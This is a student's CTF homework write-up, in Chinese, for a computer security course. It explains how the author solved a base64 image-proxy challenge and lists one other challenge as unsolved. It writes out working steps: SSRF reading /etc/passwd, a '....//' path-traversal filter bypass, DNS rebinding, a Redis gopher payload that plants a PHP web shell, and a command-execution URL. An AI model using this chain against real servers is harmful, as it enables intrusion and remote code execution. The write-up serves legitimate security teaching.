計算機安全 HW6 Writeup

- Real name: 張瀚文
- Nickname on course website: Hwww
- Student ID: b07505027.

Rero Meme

解法

未解

陸拾肆基底編碼之遠端圖像編碼器

解法

這題很明顯是ssrf，試試看 `file:///etc/passwd` ，發現可以成功ssrf

這裡網頁回傳的會是encode過的東西，而且放在src裡，不好讀，另外寫了js搭配User JavaScript and CSS這個擴充來自動解析，程式碼可參考 `code/base64/decode.js`

在passwd中發現redis，看起來很可疑，但此時先放著

另外找到了原始碼 `index.php` ，裡面也有個很可疑的過濾 `../` 的程式，這個可以利用 `....//` 繞過，可能可以存取其他 `.inc.php` 檔，但目前還不知道功用，先放著

負責處理proxy的原始碼在 `page/result.inc.php` ，裡面有過濾內網，這裡可以用DNS Rebinding繞過，這裡用了rbndr.us這個線上工具，讓他在127.0.0.1跟google.com之間切換，測試成功～

接下來可以打內網服務，內網又有疑似有redis服務，那就試試看可不可以用gopher讓redis產生phpshell，再利用 `index.php` 中繞過漏洞來執行產生的 `shell.php` ，就可以執行拿到shell了～

然而現在問題在於redis的port並不是預設的6379，戳了並沒有反應...還好我們可以從 `/proc/net/tcp` 中的rem_address看，rem_address轉成10進位就是他的port，因為在/etc/passwd中可以知道redis的uid是101，因此對照他的rem_address，就可以找到redis的port

接下來就是編個很常見的拿到phpshell的redis

```
FLUSHALL
SET myshell "<?php system($_GET['cmd']);?>"
CONFIG SET DIR /tmp
CONFIG SET DBFILENAME hwww.inc.php
SAVE
QUIT
```

值得注意的是因為權限問題，丟在/tmp這個地方才能讓redis順利寫檔跟讓網頁順利讀檔，本來一直寫在/var/www/html下redis一直出問題。還有我發現最後加個QUIT可以讓伺服器反應快很多，沒家的話伺服器好像會卡很久

編成gopher之後送出

```
gopher://7f000001.d1559365.rbndr.us:27134/_FLUSHALL%0D%0A
SET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0A
CONFIG%20SET%20DIR%20%2Ftmp%0D%0A
CONFIG%20SET%20DBFILENAME%20hwww.inc.php%0D%0A
SAVE%0D%0AQUIT
```

看到一堆+OK代表成功了，接下來就可以利用 `/?page=/path/to/myshell&cmd=cat /flag*` 來拿到flag拉～

```
http://base64image.splitline.tw:8894/
?page=....//....//....//....//tmp/hwww
&cmd=cat /flag*
```